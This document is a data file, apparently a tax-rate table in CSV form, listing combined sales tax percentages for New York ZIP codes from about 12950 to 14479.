US-NY-12950,US,NY,12950,7.75,,,, US-NY-12952,US,NY,12952,8,,,, US-NY-12953,US,NY,12953,8,,,, US-NY-12955,US,NY,12955,8,,,, US-NY-12956,US,NY,12956,7.75,,,, US-NY-12957,US,NY,12957,8,,,, US-NY-12958,US,NY,12958,8,,,, US-NY-12959,US,NY,12959,8,,,, US-NY-12960,US,NY,12960,7.75,,,, US-NY-12961,US,NY,12961,7.75,,,, US-NY-12962,US,NY,12962,8,,,, US-NY-12964,US,NY,12964,7.75,,,, US-NY-12965,US,NY,12965,7,,,, US-NY-12966,US,NY,12966,8,,,, US-NY-12967,US,NY,12967,7,,,, US-NY-12969,US,NY,12969,8,,,, US-NY-12970,US,NY,12970,8,,,, US-NY-12972,US,NY,12972,8,,,, US-NY-12973,US,NY,12973,7,,,, US-NY-12974,US,NY,12974,7.75,,,, US-NY-12975,US,NY,12975,7.75,,,, US-NY-12976,US,NY,12976,8,,,, US-NY-12977,US,NY,12977,7.75,,,, US-NY-12978,US,NY,12978,8,,,, US-NY-12979,US,NY,12979,8,,,, US-NY-12980,US,NY,12980,8,,,, US-NY-12981,US,NY,12981,8,,,, US-NY-12983,US,NY,12983,8,,,, US-NY-12985,US,NY,12985,8,,,, US-NY-12986,US,NY,12986,8,,,, US-NY-12987,US,NY,12987,7.75,,,, US-NY-12989,US,NY,12989,8,,,, US-NY-12992,US,NY,12992,8,,,, US-NY-12993,US,NY,12993,7.75,,,, US-NY-12995,US,NY,12995,8,,,, US-NY-12996,US,NY,12996,7.75,,,, US-NY-12997,US,NY,12997,7.75,,,, US-NY-12998,US,NY,12998,7.75,,,, US-NY-13020,US,NY,13020,8,,,, US-NY-13021,US,NY,13021,8,,,, US-NY-13022,US,NY,13022,8,,,, US-NY-13024,US,NY,13024,8,,,, US-NY-13026,US,NY,13026,8,,,, US-NY-13027,US,NY,13027,8,,,, US-NY-13028,US,NY,13028,8,,,, US-NY-13029,US,NY,13029,8,,,, US-NY-13030,US,NY,13030,8,,,, US-NY-13031,US,NY,13031,8,,,, US-NY-13032,US,NY,13032,8,,,, US-NY-13033,US,NY,13033,8,,,, US-NY-13034,US,NY,13034,8,,,, US-NY-13035,US,NY,13035,8,,,, US-NY-13036,US,NY,13036,8,,,, US-NY-13037,US,NY,13037,8,,,, US-NY-13039,US,NY,13039,8,,,, US-NY-13040,US,NY,13040,8,,,, US-NY-13041,US,NY,13041,8,,,, US-NY-13042,US,NY,13042,8.75,,,, US-NY-13043,US,NY,13043,8,,,, US-NY-13044,US,NY,13044,8,,,, US-NY-13045,US,NY,13045,8,,,, US-NY-13051,US,NY,13051,8,,,, US-NY-13052,US,NY,13052,8,,,, US-NY-13053,US,NY,13053,8,,,, US-NY-13054,US,NY,13054,8.75,,,, US-NY-13056,US,NY,13056,8,,,, US-NY-13057,US,NY,13057,8,,,, US-NY-13060,US,NY,13060,8,,,, US-NY-13061,US,NY,13061,8,,,, US-NY-13062,US,NY,13062,8,,,, US-NY-13063,US,NY,13063,8,,,, US-NY-13064,US,NY,13064,8,,,, US-NY-13065,US,NY,13065,8,,,, US-NY-13066,US,NY,13066,8,,,, US-NY-13068,US,NY,13068,8,,,, US-NY-13069,US,NY,13069,8,,,, US-NY-13071,US,NY,13071,8,,,, US-NY-13072,US,NY,13072,8,,,, US-NY-13073,US,NY,13073,8,,,, US-NY-13074,US,NY,13074,8,,,, US-NY-13076,US,NY,13076,8,,,, US-NY-13077,US,NY,13077,8,,,, US-NY-13078,US,NY,13078,8,,,, US-NY-13080,US,NY,13080,8,,,, US-NY-13081,US,NY,13081,8,,,, US-NY-13082,US,NY,13082,8,,,, US-NY-13083,US,NY,13083,8,,,, US-NY-13084,US,NY,13084,8,,,, US-NY-13087,US,NY,13087,8,,,, US-NY-13088,US,NY,13088,8,,,, US-NY-13089,US,NY,13089,8,,,, US-NY-13090,US,NY,13090,8,,,, US-NY-13092,US,NY,13092,8,,,, US-NY-13093,US,NY,13093,8,,,, US-NY-13101,US,NY,13101,8,,,, US-NY-13102,US,NY,13102,8,,,, US-NY-13103,US,NY,13103,8,,,, US-NY-13104,US,NY,13104,8,,,, US-NY-13107,US,NY,13107,8,,,, US-NY-13108,US,NY,13108,8,,,, US-NY-13110,US,NY,13110,8,,,, US-NY-13111,US,NY,13111,8,,,, US-NY-13112,US,NY,13112,8,,,, US-NY-13113,US,NY,13113,8,,,, US-NY-13114,US,NY,13114,8,,,, US-NY-13115,US,NY,13115,8,,,, US-NY-13116,US,NY,13116,8,,,, US-NY-13117,US,NY,13117,8,,,, US-NY-13118,US,NY,13118,8,,,, US-NY-13119,US,NY,13119,8,,,, US-NY-13120,US,NY,13120,8,,,, US-NY-13121,US,NY,13121,8,,,, US-NY-13122,US,NY,13122,8,,,, US-NY-13123,US,NY,13123,8.75,,,, US-NY-13124,US,NY,13124,8,,,, US-NY-13126,US,NY,13126,8,,,, US-NY-13131,US,NY,13131,8,,,, US-NY-13132,US,NY,13132,8,,,, US-NY-13134,US,NY,13134,8,,,, US-NY-13135,US,NY,13135,8,,,, US-NY-13136,US,NY,13136,8,,,, US-NY-13137,US,NY,13137,8,,,, US-NY-13138,US,NY,13138,8,,,, US-NY-13139,US,NY,13139,8,,,, US-NY-13140,US,NY,13140,8,,,, US-NY-13141,US,NY,13141,8,,,, US-NY-13142,US,NY,13142,8,,,, US-NY-13143,US,NY,13143,8,,,, US-NY-13144,US,NY,13144,8,,,, US-NY-13145,US,NY,13145,8,,,, US-NY-13146,US,NY,13146,8,,,, US-NY-13147,US,NY,13147,8,,,, US-NY-13148,US,NY,13148,8,,,, US-NY-13152,US,NY,13152,8,,,, US-NY-13153,US,NY,13153,8,,,, US-NY-13154,US,NY,13154,8,,,, US-NY-13155,US,NY,13155,8,,,, US-NY-13156,US,NY,13156,8,,,, US-NY-13157,US,NY,13157,8.75,,,, US-NY-13158,US,NY,13158,8,,,, US-NY-13159,US,NY,13159,8,,,, US-NY-13160,US,NY,13160,8,,,, US-NY-13162,US,NY,13162,8.75,,,, US-NY-13163,US,NY,13163,8,,,, US-NY-13164,US,NY,13164,8,,,, US-NY-13165,US,NY,13165,8,,,, US-NY-13166,US,NY,13166,8,,,, US-NY-13167,US,NY,13167,8,,,, US-NY-13201,US,NY,13201,8,,,, US-NY-13202,US,NY,13202,8,,,, US-NY-13203,US,NY,13203,8,,,, US-NY-13204,US,NY,13204,8,,,, US-NY-13205,US,NY,13205,8,,,, US-NY-13206,US,NY,13206,8,,,, US-NY-13207,US,NY,13207,8,,,, US-NY-13208,US,NY,13208,8,,,, US-NY-13209,US,NY,13209,8,,,, US-NY-13210,US,NY,13210,8,,,, US-NY-13211,US,NY,13211,8,,,, US-NY-13212,US,NY,13212,8,,,, US-NY-13214,US,NY,13214,8,,,, US-NY-13215,US,NY,13215,8,,,, US-NY-13217,US,NY,13217,8,,,, US-NY-13218,US,NY,13218,8,,,, US-NY-13219,US,NY,13219,8,,,, US-NY-13220,US,NY,13220,8,,,, US-NY-13221,US,NY,13221,8,,,, US-NY-13224,US,NY,13224,8,,,, US-NY-13225,US,NY,13225,8,,,, US-NY-13235,US,NY,13235,8,,,, US-NY-13244,US,NY,13244,8,,,, US-NY-13250,US,NY,13250,8,,,, US-NY-13251,US,NY,13251,8,,,, US-NY-13252,US,NY,13252,8,,,, US-NY-13261,US,NY,13261,8,,,, US-NY-13290,US,NY,13290,8,,,, US-NY-13301,US,NY,13301,8.75,,,, US-NY-13302,US,NY,13302,8,,,, US-NY-13303,US,NY,13303,8.75,,,, US-NY-13304,US,NY,13304,8.75,,,, US-NY-13305,US,NY,13305,7.75,,,, US-NY-13308,US,NY,13308,8.75,,,, US-NY-13309,US,NY,13309,8.75,,,, US-NY-13310,US,NY,13310,8,,,, US-NY-13312,US,NY,13312,7.75,,,, US-NY-13313,US,NY,13313,8.75,,,, US-NY-13314,US,NY,13314,8,,,, US-NY-13315,US,NY,13315,8,,,, US-NY-13316,US,NY,13316,8.75,,,, US-NY-13317,US,NY,13317,8,,,, US-NY-13318,US,NY,13318,8.75,,,, US-NY-13319,US,NY,13319,8.75,,,, US-NY-13320,US,NY,13320,8,,,, US-NY-13321,US,NY,13321,8.75,,,, US-NY-13322,US,NY,13322,8.75,,,, US-NY-13323,US,NY,13323,8.75,,,, US-NY-13324,US,NY,13324,8.25,,,, US-NY-13325,US,NY,13325,7.75,,,, US-NY-13326,US,NY,13326,8,,,, US-NY-13327,US,NY,13327,7.75,,,, US-NY-13328,US,NY,13328,8.75,,,, US-NY-13329,US,NY,13329,8.25,,,, US-NY-13331,US,NY,13331,8.25,,,, US-NY-13332,US,NY,13332,8,,,, US-NY-13333,US,NY,13333,8,,,, US-NY-13334,US,NY,13334,8,,,, US-NY-13335,US,NY,13335,8,,,, US-NY-13337,US,NY,13337,8,,,, US-NY-13338,US,NY,13338,8.75,,,, US-NY-13339,US,NY,13339,8,,,, US-NY-13340,US,NY,13340,8.25,,,, US-NY-13341,US,NY,13341,8.75,,,, US-NY-13342,US,NY,13342,8,,,, US-NY-13343,US,NY,13343,7.75,,,, US-NY-13345,US,NY,13345,7.75,,,, US-NY-13346,US,NY,13346,8,,,, US-NY-13348,US,NY,13348,8,,,, US-NY-13350,US,NY,13350,8.25,,,, US-NY-13352,US,NY,13352,8.75,,,, US-NY-13353,US,NY,13353,7,,,, US-NY-13354,US,NY,13354,8.75,,,, US-NY-13355,US,NY,13355,8,,,, US-NY-13357,US,NY,13357,8.25,,,, US-NY-13360,US,NY,13360,7,,,, US-NY-13361,US,NY,13361,8.25,,,, US-NY-13362,US,NY,13362,8.75,,,, US-NY-13363,US,NY,13363,8.75,,,, US-NY-13364,US,NY,13364,8,,,, US-NY-13365,US,NY,13365,8.25,,,, US-NY-13367,US,NY,13367,7.75,,,, US-NY-13368,US,NY,13368,7.75,,,, US-NY-13401,US,NY,13401,8.75,,,, US-NY-13402,US,NY,13402,8,,,, US-NY-13403,US,NY,13403,8.75,,,, US-NY-13404,US,NY,13404,7.75,,,, US-NY-13406,US,NY,13406,8.25,,,, US-NY-13407,US,NY,13407,8.25,,,, US-NY-13408,US,NY,13408,8,,,, US-NY-13409,US,NY,13409,8,,,, US-NY-13410,US,NY,13410,8,,,, US-NY-13411,US,NY,13411,8,,,, US-NY-13413,US,NY,13413,8.75,,,, US-NY-13415,US,NY,13415,8,,,, US-NY-13416,US,NY,13416,8.25,,,, US-NY-13417,US,NY,13417,8.75,,,, US-NY-13418,US,NY,13418,8,,,, US-NY-13420,US,NY,13420,8.25,,,, US-NY-13421,US,NY,13421,8,,,, US-NY-13424,US,NY,13424,8.75,,,, US-NY-13425,US,NY,13425,8.75,,,, US-NY-13426,US,NY,13426,8,,,, US-NY-13428,US,NY,13428,8,,,, US-NY-13431,US,NY,13431,8.25,,,, US-NY-13433,US,NY,13433,7.75,,,, US-NY-13435,US,NY,13435,8.75,,,, US-NY-13436,US,NY,13436,7,,,, US-NY-13437,US,NY,13437,8,,,, US-NY-13438,US,NY,13438,8.75,,,, US-NY-13439,US,NY,13439,8,,,, US-NY-13440,US,NY,13440,8.75,,,, US-NY-13441,US,NY,13441,8.75,,,, US-NY-13442,US,NY,13442,8.75,,,, US-NY-13449,US,NY,13449,8.75,,,, US-NY-13450,US,NY,13450,8,,,, US-NY-13452,US,NY,13452,8,,,, US-NY-13454,US,NY,13454,8.25,,,, US-NY-13455,US,NY,13455,8.75,,,, US-NY-13456,US,NY,13456,8.75,,,, US-NY-13457,US,NY,13457,8,,,, US-NY-13459,US,NY,13459,8,,,, US-NY-13460,US,NY,13460,8,,,, US-NY-13461,US,NY,13461,8.75,,,, US-NY-13464,US,NY,13464,8,,,, US-NY-13465,US,NY,13465,8,,,, US-NY-13468,US,NY,13468,8,,,, US-NY-13469,US,NY,13469,8.75,,,, US-NY-13470,US,NY,13470,8,,,, US-NY-13471,US,NY,13471,8.75,,,, US-NY-13472,US,NY,13472,8.25,,,, US-NY-13473,US,NY,13473,7.75,,,, US-NY-13475,US,NY,13475,8,,,, US-NY-13476,US,NY,13476,8.75,,,, US-NY-13477,US,NY,13477,8.75,,,, US-NY-13478,US,NY,13478,8.75,,,, US-NY-13479,US,NY,13479,8.75,,,, US-NY-13480,US,NY,13480,8.75,,,, US-NY-13482,US,NY,13482,8,,,, US-NY-13483,US,NY,13483,8.75,,,, US-NY-13484,US,NY,13484,8,,,, US-NY-13485,US,NY,13485,8,,,, US-NY-13486,US,NY,13486,8.75,,,, US-NY-13488,US,NY,13488,8,,,, US-NY-13489,US,NY,13489,7.75,,,, US-NY-13490,US,NY,13490,8.75,,,, US-NY-13491,US,NY,13491,8.25,,,, US-NY-13492,US,NY,13492,8.75,,,, US-NY-13493,US,NY,13493,8,,,, US-NY-13494,US,NY,13494,8.75,,,, US-NY-13495,US,NY,13495,8.75,,,, US-NY-13501,US,NY,13501,8.75,,,, US-NY-13502,US,NY,13502,8.75,,,, US-NY-13503,US,NY,13503,8.75,,,, US-NY-13504,US,NY,13504,8.75,,,, US-NY-13505,US,NY,13505,8.75,,,, US-NY-13599,US,NY,13599,8.75,,,, US-NY-13601,US,NY,13601,7.75,,,, US-NY-13602,US,NY,13602,7.75,,,, US-NY-13603,US,NY,13603,7.75,,,, US-NY-13605,US,NY,13605,7.75,,,, US-NY-13606,US,NY,13606,7.75,,,, US-NY-13607,US,NY,13607,7.75,,,, US-NY-13608,US,NY,13608,7.75,,,, US-NY-13611,US,NY,13611,7.75,,,, US-NY-13612,US,NY,13612,7.75,,,, US-NY-13613,US,NY,13613,7,,,, US-NY-13614,US,NY,13614,7,,,, US-NY-13615,US,NY,13615,7.75,,,, US-NY-13616,US,NY,13616,7.75,,,, US-NY-13617,US,NY,13617,7,,,, US-NY-13618,US,NY,13618,7.75,,,, US-NY-13619,US,NY,13619,7.75,,,, US-NY-13620,US,NY,13620,7.75,,,, US-NY-13621,US,NY,13621,7,,,, US-NY-13622,US,NY,13622,7.75,,,, US-NY-13623,US,NY,13623,7,,,, US-NY-13624,US,NY,13624,7.75,,,, US-NY-13625,US,NY,13625,7,,,, US-NY-13626,US,NY,13626,7.75,,,, US-NY-13627,US,NY,13627,7.75,,,, US-NY-13628,US,NY,13628,7.75,,,, US-NY-13630,US,NY,13630,7,,,, US-NY-13631,US,NY,13631,7.75,,,, US-NY-13632,US,NY,13632,7.75,,,, US-NY-13633,US,NY,13633,7,,,, US-NY-13634,US,NY,13634,7.75,,,, US-NY-13635,US,NY,13635,7,,,, US-NY-13636,US,NY,13636,7.75,,,, US-NY-13637,US,NY,13637,7.75,,,, US-NY-13638,US,NY,13638,7.75,,,, US-NY-13639,US,NY,13639,7,,,, US-NY-13640,US,NY,13640,7.75,,,, US-NY-13641,US,NY,13641,7.75,,,, US-NY-13642,US,NY,13642,7,,,, US-NY-13643,US,NY,13643,7.75,,,, US-NY-13645,US,NY,13645,7,,,, US-NY-13646,US,NY,13646,7,,,, US-NY-13647,US,NY,13647,7,,,, US-NY-13648,US,NY,13648,7.75,,,, US-NY-13649,US,NY,13649,7,,,, US-NY-13650,US,NY,13650,7.75,,,, US-NY-13651,US,NY,13651,7.75,,,, US-NY-13652,US,NY,13652,7,,,, US-NY-13654,US,NY,13654,7,,,, US-NY-13655,US,NY,13655,8,,,, US-NY-13656,US,NY,13656,7.75,,,, US-NY-13657,US,NY,13657,7.75,,,, US-NY-13658,US,NY,13658,7,,,, US-NY-13659,US,NY,13659,7.75,,,, US-NY-13660,US,NY,13660,7,,,, US-NY-13661,US,NY,13661,7.75,,,, US-NY-13662,US,NY,13662,7,,,, US-NY-13664,US,NY,13664,7,,,, US-NY-13665,US,NY,13665,7.75,,,, US-NY-13666,US,NY,13666,7,,,, US-NY-13667,US,NY,13667,7,,,, US-NY-13668,US,NY,13668,7,,,, US-NY-13669,US,NY,13669,7,,,, US-NY-13670,US,NY,13670,7,,,, US-NY-13671,US,NY,13671,7.75,,,, US-NY-13672,US,NY,13672,7,,,, US-NY-13673,US,NY,13673,7.75,,,, US-NY-13674,US,NY,13674,7.75,,,, US-NY-13675,US,NY,13675,7.75,,,, US-NY-13676,US,NY,13676,7,,,, US-NY-13677,US,NY,13677,7,,,, US-NY-13678,US,NY,13678,7,,,, US-NY-13679,US,NY,13679,7.75,,,, US-NY-13680,US,NY,13680,7,,,, US-NY-13681,US,NY,13681,7,,,, US-NY-13682,US,NY,13682,7.75,,,, US-NY-13683,US,NY,13683,7,,,, US-NY-13684,US,NY,13684,7,,,, US-NY-13685,US,NY,13685,7.75,,,, US-NY-13687,US,NY,13687,7,,,, US-NY-13690,US,NY,13690,7,,,, US-NY-13691,US,NY,13691,7.75,,,, US-NY-13692,US,NY,13692,7.75,,,, US-NY-13693,US,NY,13693,7.75,,,, US-NY-13694,US,NY,13694,7,,,, US-NY-13695,US,NY,13695,7,,,, US-NY-13696,US,NY,13696,7,,,, US-NY-13697,US,NY,13697,7,,,, US-NY-13699,US,NY,13699,7,,,, US-NY-13730,US,NY,13730,8,,,, US-NY-13731,US,NY,13731,8,,,, US-NY-13732,US,NY,13732,8,,,, US-NY-13733,US,NY,13733,8,,,, US-NY-13734,US,NY,13734,8,,,, US-NY-13736,US,NY,13736,8,,,, US-NY-13737,US,NY,13737,8,,,, US-NY-13738,US,NY,13738,8,,,, US-NY-13739,US,NY,13739,8,,,, US-NY-13740,US,NY,13740,8,,,, US-NY-13743,US,NY,13743,8,,,, US-NY-13744,US,NY,13744,8,,,, US-NY-13745,US,NY,13745,8,,,, US-NY-13746,US,NY,13746,8,,,, US-NY-13747,US,NY,13747,8,,,, US-NY-13748,US,NY,13748,8,,,, US-NY-13749,US,NY,13749,8,,,, US-NY-13750,US,NY,13750,8,,,, US-NY-13751,US,NY,13751,8,,,, US-NY-13752,US,NY,13752,8,,,, US-NY-13753,US,NY,13753,8,,,, US-NY-13754,US,NY,13754,8,,,, US-NY-13755,US,NY,13755,8,,,, US-NY-13756,US,NY,13756,8,,,, US-NY-13757,US,NY,13757,8,,,, US-NY-13758,US,NY,13758,8,,,, US-NY-13760,US,NY,13760,8,,,, US-NY-13761,US,NY,13761,8,,,, US-NY-13762,US,NY,13762,8,,,, US-NY-13763,US,NY,13763,8,,,, US-NY-13774,US,NY,13774,8,,,, US-NY-13775,US,NY,13775,8,,,, US-NY-13776,US,NY,13776,8,,,, US-NY-13777,US,NY,13777,8,,,, US-NY-13778,US,NY,13778,8,,,, US-NY-13780,US,NY,13780,8,,,, US-NY-13782,US,NY,13782,8,,,, US-NY-13783,US,NY,13783,8,,,, US-NY-13784,US,NY,13784,8,,,, US-NY-13786,US,NY,13786,8,,,, US-NY-13787,US,NY,13787,8,,,, US-NY-13788,US,NY,13788,8,,,, US-NY-13790,US,NY,13790,8,,,, US-NY-13794,US,NY,13794,8,,,, US-NY-13795,US,NY,13795,8,,,, US-NY-13796,US,NY,13796,8,,,, US-NY-13797,US,NY,13797,8,,,, US-NY-13801,US,NY,13801,8,,,, US-NY-13802,US,NY,13802,8,,,, US-NY-13803,US,NY,13803,8,,,, US-NY-13804,US,NY,13804,8,,,, US-NY-13806,US,NY,13806,8,,,, US-NY-13807,US,NY,13807,8,,,, US-NY-13808,US,NY,13808,8,,,, US-NY-13809,US,NY,13809,8,,,, US-NY-13810,US,NY,13810,8,,,, US-NY-13811,US,NY,13811,8,,,, US-NY-13812,US,NY,13812,8,,,, US-NY-13813,US,NY,13813,8,,,, US-NY-13814,US,NY,13814,8,,,, US-NY-13815,US,NY,13815,8,,,, US-NY-13820,US,NY,13820,8,,,, US-NY-13825,US,NY,13825,8,,,, US-NY-13826,US,NY,13826,8,,,, US-NY-13827,US,NY,13827,8,,,, US-NY-13830,US,NY,13830,8,,,, US-NY-13832,US,NY,13832,8,,,, US-NY-13833,US,NY,13833,8,,,, US-NY-13834,US,NY,13834,8,,,, US-NY-13835,US,NY,13835,8,,,, US-NY-13838,US,NY,13838,8,,,, US-NY-13839,US,NY,13839,8,,,, US-NY-13840,US,NY,13840,8,,,, US-NY-13841,US,NY,13841,8,,,, US-NY-13842,US,NY,13842,8,,,, US-NY-13843,US,NY,13843,8,,,, US-NY-13844,US,NY,13844,8,,,, US-NY-13845,US,NY,13845,8,,,, US-NY-13846,US,NY,13846,8,,,, US-NY-13847,US,NY,13847,8,,,, US-NY-13848,US,NY,13848,8,,,, US-NY-13849,US,NY,13849,8,,,, US-NY-13850,US,NY,13850,8,,,, US-NY-13851,US,NY,13851,8,,,, US-NY-13856,US,NY,13856,8,,,, US-NY-13859,US,NY,13859,8,,,, US-NY-13860,US,NY,13860,8,,,, US-NY-13861,US,NY,13861,8,,,, US-NY-13862,US,NY,13862,8,,,, US-NY-13863,US,NY,13863,8,,,, US-NY-13864,US,NY,13864,8,,,, US-NY-13865,US,NY,13865,8,,,, US-NY-13901,US,NY,13901,8,,,, US-NY-13902,US,NY,13902,8,,,, US-NY-13903,US,NY,13903,8,,,, US-NY-13904,US,NY,13904,8,,,, US-NY-13905,US,NY,13905,8,,,, US-NY-14001,US,NY,14001,8.75,,,, US-NY-14004,US,NY,14004,8.75,,,, US-NY-14005,US,NY,14005,8,,,, US-NY-14006,US,NY,14006,8.75,,,, US-NY-14008,US,NY,14008,8,,,, US-NY-14009,US,NY,14009,8,,,, US-NY-14010,US,NY,14010,8.75,,,, US-NY-14011,US,NY,14011,8,,,, US-NY-14012,US,NY,14012,8,,,, US-NY-14013,US,NY,14013,8,,,, US-NY-14020,US,NY,14020,8,,,, US-NY-14021,US,NY,14021,8,,,, US-NY-14024,US,NY,14024,8,,,, US-NY-14025,US,NY,14025,8.75,,,, US-NY-14026,US,NY,14026,8.75,,,, US-NY-14027,US,NY,14027,8.75,,,, US-NY-14028,US,NY,14028,8,,,, US-NY-14029,US,NY,14029,8.5,,,, US-NY-14030,US,NY,14030,8.75,,,, US-NY-14031,US,NY,14031,8.75,,,, US-NY-14032,US,NY,14032,8.75,,,, US-NY-14033,US,NY,14033,8.75,,,, US-NY-14034,US,NY,14034,8.75,,,, US-NY-14035,US,NY,14035,8.75,,,, US-NY-14036,US,NY,14036,8,,,, US-NY-14037,US,NY,14037,8,,,, US-NY-14038,US,NY,14038,8.75,,,, US-NY-14039,US,NY,14039,8,,,, US-NY-14040,US,NY,14040,8,,,, US-NY-14041,US,NY,14041,8,,,, US-NY-14042,US,NY,14042,8,,,, US-NY-14043,US,NY,14043,8.75,,,, US-NY-14047,US,NY,14047,8.75,,,, US-NY-14048,US,NY,14048,7.5,,,, US-NY-14051,US,NY,14051,8.75,,,, US-NY-14052,US,NY,14052,8.75,,,, US-NY-14054,US,NY,14054,8,,,, US-NY-14055,US,NY,14055,8.75,,,, US-NY-14056,US,NY,14056,8,,,, US-NY-14057,US,NY,14057,8.75,,,, US-NY-14058,US,NY,14058,8,,,, US-NY-14059,US,NY,14059,8.75,,,, US-NY-14060,US,NY,14060,8.5,,,, US-NY-14061,US,NY,14061,8.75,,,, US-NY-14062,US,NY,14062,7.5,,,, US-NY-14063,US,NY,14063,7.5,,,, US-NY-14065,US,NY,14065,8,,,, US-NY-14066,US,NY,14066,8,,,, US-NY-14067,US,NY,14067,8,,,, US-NY-14068,US,NY,14068,8.75,,,, US-NY-14069,US,NY,14069,8.75,,,, US-NY-14070,US,NY,14070,8,,,, US-NY-14072,US,NY,14072,8.75,,,, US-NY-14075,US,NY,14075,8.75,,,, US-NY-14080,US,NY,14080,8.75,,,, US-NY-14081,US,NY,14081,8.75,,,, US-NY-14082,US,NY,14082,8,,,, US-NY-14083,US,NY,14083,8,,,, US-NY-14085,US,NY,14085,8.75,,,, US-NY-14086,US,NY,14086,8.75,,,, US-NY-14091,US,NY,14091,8.75,,,, US-NY-14092,US,NY,14092,8,,,, US-NY-14094,US,NY,14094,8,,,, US-NY-14095,US,NY,14095,8,,,, US-NY-14098,US,NY,14098,8,,,, US-NY-14101,US,NY,14101,8,,,, US-NY-14102,US,NY,14102,8.75,,,, US-NY-14103,US,NY,14103,8,,,, US-NY-14105,US,NY,14105,8,,,, US-NY-14107,US,NY,14107,8,,,, US-NY-14108,US,NY,14108,8,,,, US-NY-14109,US,NY,14109,8,,,, US-NY-14110,US,NY,14110,8.75,,,, US-NY-14111,US,NY,14111,8.75,,,, US-NY-14112,US,NY,14112,8.75,,,, US-NY-14113,US,NY,14113,8,,,, US-NY-14120,US,NY,14120,8,,,, US-NY-14125,US,NY,14125,8,,,, US-NY-14126,US,NY,14126,8,,,, US-NY-14127,US,NY,14127,8.75,,,, US-NY-14129,US,NY,14129,8,,,, US-NY-14130,US,NY,14130,8,,,, US-NY-14131,US,NY,14131,8,,,, US-NY-14132,US,NY,14132,8,,,, US-NY-14133,US,NY,14133,8,,,, US-NY-14134,US,NY,14134,8.75,,,, US-NY-14135,US,NY,14135,7.5,,,, US-NY-14136,US,NY,14136,7.5,,,, US-NY-14138,US,NY,14138,8,,,, US-NY-14139,US,NY,14139,8.75,,,, US-NY-14140,US,NY,14140,8.75,,,, US-NY-14141,US,NY,14141,8.75,,,, US-NY-14143,US,NY,14143,8,,,, US-NY-14144,US,NY,14144,8,,,, US-NY-14145,US,NY,14145,8,,,, US-NY-14150,US,NY,14150,8.75,,,, US-NY-14151,US,NY,14151,8.75,,,, US-NY-14166,US,NY,14166,7.5,,,, US-NY-14167,US,NY,14167,8,,,, US-NY-14168,US,NY,14168,8,,,, US-NY-14169,US,NY,14169,8.75,,,, US-NY-14170,US,NY,14170,8.75,,,, US-NY-14171,US,NY,14171,8,,,, US-NY-14172,US,NY,14172,8,,,, US-NY-14173,US,NY,14173,8,,,, US-NY-14174,US,NY,14174,8,,,, US-NY-14201,US,NY,14201,8.75,,,, US-NY-14202,US,NY,14202,8.75,,,, US-NY-14203,US,NY,14203,8.75,,,, US-NY-14204,US,NY,14204,8.75,,,, US-NY-14205,US,NY,14205,8.75,,,, US-NY-14206,US,NY,14206,8.75,,,, US-NY-14207,US,NY,14207,8.75,,,, US-NY-14208,US,NY,14208,8.75,,,, US-NY-14209,US,NY,14209,8.75,,,, US-NY-14210,US,NY,14210,8.75,,,, US-NY-14211,US,NY,14211,8.75,,,, US-NY-14212,US,NY,14212,8.75,,,, US-NY-14213,US,NY,14213,8.75,,,, US-NY-14214,US,NY,14214,8.75,,,, US-NY-14215,US,NY,14215,8.75,,,, US-NY-14216,US,NY,14216,8.75,,,, US-NY-14217,US,NY,14217,8.75,,,, US-NY-14218,US,NY,14218,8.75,,,, US-NY-14219,US,NY,14219,8.75,,,, US-NY-14220,US,NY,14220,8.75,,,, US-NY-14221,US,NY,14221,8.75,,,, US-NY-14222,US,NY,14222,8.75,,,, US-NY-14223,US,NY,14223,8.75,,,, US-NY-14224,US,NY,14224,8.75,,,, US-NY-14225,US,NY,14225,8.75,,,, US-NY-14226,US,NY,14226,8.75,,,, US-NY-14227,US,NY,14227,8.75,,,, US-NY-14228,US,NY,14228,8.75,,,, US-NY-14231,US,NY,14231,8.75,,,, US-NY-14233,US,NY,14233,8.75,,,, US-NY-14240,US,NY,14240,8.75,,,, US-NY-14241,US,NY,14241,8.75,,,, US-NY-14260,US,NY,14260,8.75,,,, US-NY-14261,US,NY,14261,8.75,,,, US-NY-14263,US,NY,14263,8.75,,,, US-NY-14264,US,NY,14264,8.75,,,, US-NY-14265,US,NY,14265,8.75,,,, US-NY-14267,US,NY,14267,8.75,,,, US-NY-14269,US,NY,14269,8.75,,,, US-NY-14270,US,NY,14270,8.75,,,, US-NY-14272,US,NY,14272,8.75,,,, US-NY-14273,US,NY,14273,8.75,,,, US-NY-14276,US,NY,14276,8.75,,,, US-NY-14280,US,NY,14280,8.75,,,, US-NY-14301,US,NY,14301,8,,,, US-NY-14302,US,NY,14302,8,,,, US-NY-14303,US,NY,14303,8,,,, US-NY-14304,US,NY,14304,8,,,, US-NY-14305,US,NY,14305,8,,,, US-NY-14410,US,NY,14410,8,,,, US-NY-14411,US,NY,14411,8,,,, US-NY-14413,US,NY,14413,8,,,, US-NY-14414,US,NY,14414,8,,,, US-NY-14415,US,NY,14415,8,,,, US-NY-14416,US,NY,14416,8,,,, US-NY-14418,US,NY,14418,8,,,, US-NY-14420,US,NY,14420,8,,,, US-NY-14422,US,NY,14422,8,,,, US-NY-14423,US,NY,14423,8,,,, US-NY-14424,US,NY,14424,7.5,,,, US-NY-14425,US,NY,14425,7.5,,,, US-NY-14427,US,NY,14427,8,,,, US-NY-14428,US,NY,14428,8,,,, US-NY-14429,US,NY,14429,8,,,, US-NY-14430,US,NY,14430,8,,,, US-NY-14432,US,NY,14432,7.5,,,, US-NY-14433,US,NY,14433,8,,,, US-NY-14435,US,NY,14435,8,,,, US-NY-14437,US,NY,14437,8,,,, US-NY-14441,US,NY,14441,8,,,, US-NY-14443,US,NY,14443,7.5,,,, US-NY-14445,US,NY,14445,8,,,, US-NY-14449,US,NY,14449,8,,,, US-NY-14450,US,NY,14450,8,,,, US-NY-14452,US,NY,14452,8,,,, US-NY-14453,US,NY,14453,7.5,,,, US-NY-14454,US,NY,14454,8,,,, US-NY-14456,US,NY,14456,7.5,,,, US-NY-14461,US,NY,14461,7.5,,,, US-NY-14462,US,NY,14462,8,,,, US-NY-14463,US,NY,14463,7.5,,,, US-NY-14464,US,NY,14464,8,,,, US-NY-14466,US,NY,14466,7.5,,,, US-NY-14467,US,NY,14467,8,,,, US-NY-14468,US,NY,14468,8,,,, US-NY-14469,US,NY,14469,7.5,,,, US-NY-14470,US,NY,14470,8,,,, US-NY-14471,US,NY,14471,7.5,,,, US-NY-14472,US,NY,14472,8,,,, US-NY-14475,US,NY,14475,7.5,,,, US-NY-14476,US,NY,14476,8,,,, US-NY-14477,US,NY,14477,8,,,, US-NY-14478,US,NY,14478,8,,,, US-NY-14479,US,NY,14479,8,,,, 